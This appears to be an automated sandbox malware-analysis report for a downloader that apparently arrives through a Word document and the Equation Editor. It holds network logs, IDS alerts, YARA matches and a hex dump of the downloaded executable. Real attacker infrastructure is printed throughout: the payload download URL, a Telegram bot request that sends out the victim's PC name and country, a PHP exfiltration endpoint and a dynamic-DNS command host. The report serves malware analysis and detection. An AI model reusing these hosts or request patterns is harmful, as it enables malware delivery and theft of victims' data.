Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 66.63.187.123:80 -> 192.168.2.22:49161
Source: Network traffic	Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 66.63.187.123:80 -> 192.168.2.22:49161

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Thu, 26 Sep 2024 05:47:20 GMTContent-Type: application/x-msdos-programContent-Length: 704000Connection: keep-aliveLast-Modified: Thu, 26 Sep 2024 03:29:52 GMTETag: "abe00-622fd59ffb286"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a1 d4 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 98 0a 00 00 24 00 00 00 00 00 00 76 b6 0a 00 00 20 00 00 00 c0 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 b6 0a 00 4f 00 00 00 00 c0 0a 00 ac 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7c 96 0a 00 00 20 00 00 00 98 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 20 00 00 00 c0 0a 00 00 22 00 00 00 9a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 0b 00 00 02 00 00 00 bc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 b6 0a 00 00 00 00 00 48 00 00 00 02 00 05 00 d0 59 00 00 5c 35 00 00 03 00 00 00 1e 00 00 06 2c 8f 00 00 f8 26 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 7c 00 00 00 00 00 00 00 02 28 15 00 00 0a 00 00 02 03 16 9a 28 16 00 00 0a 7d 08 00 00 04 02 02 7b 08 00 00 04 28 02 00 00 06 7d 01 00 00 04 02 03 17 9a 28 17 00 00 0a 7d 02 00 00 04 02 03 18 9a 28 17 00 00 0a 7d 04 00 00 04 02 03 19 9a 28 17 00 00 0a 7d 05 00 00 04 02 03 1a 9a 28 17 00 00 0a 7d 03 00 00 04 02 03 1b 9a 28 18 00 00 0a 7d 06 00 00 04 02 03 1c 9a 28 17 00 00 0a 7d 07 00 00 04 2a 13 30 02 00 21 00 00 00 01 00 00 11 00 0f 00 28 19 00 00 0a 20 6c 07 00 00 59 20 6d 01 00 00 5a 0f 00 28 1a 00 00 0a 58 0a 2b 00 06 2a 00 00 00 13 30 05 00 6d 01 00 00 02 00 00 11 02 73 1b 00 00 0a 7d 09 00 00 04 02 20 80 96 98 00 7d 0a 00 00 04 02 23 00 00 00 00 d0 12 63 41 7d 0b 00 00 04 02 20 80 69 67 ff 7d 0c 00 00 04 02 23 00 00 00 00 d0 12 63 c1 7d 0d 00 00 04 02 20 0f 27 00 00 17 17 73 1c 00 00 0a 7d 0e 00 00 04 02 17 17 17 73 1c 00 00 0a 7d 0f 00 00 04 02 16 7d 10 00 00 04 02 16 7d 11 00 00 04 02 28 15 00 00 0a 00 00 03 28 1d 00

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%209/26/2024%20/%204:38:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49165 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49167 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49171 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49162 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49169 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49164 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: GET /txt/LLnsOpxxAnmWi.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.123Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D8964A50-9018-4193-BC8F-CBF79CAD82D1}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%209/26/2024%20/%204:38:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /txt/LLnsOpxxAnmWi.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.123Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: vvndewepeter91026.exe, 00000008.00000002.913169356.0000000000591000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 26 Sep 2024 05:47:44 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.123/txt/LLnsOpxxAnmWi.exe
Source: EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.123/txt/LLnsOpxxAnmWi.exeC:
Source: EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.123/txt/LLnsOpxxAnmWi.exea
Source: EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.123/txt/LLnsOpxxAnmWi.exee
Source: EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.123/txt/LLnsOpxxAnmWi.exej
Source: EQNEDT32.EXE, 00000002.00000002.397052134.000000000053F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.123/txt/LLnsOpxxAnmWi.exerrC:
Source: vvndewepeter91026.exe, 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, vvndewepeter91026.exe, 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
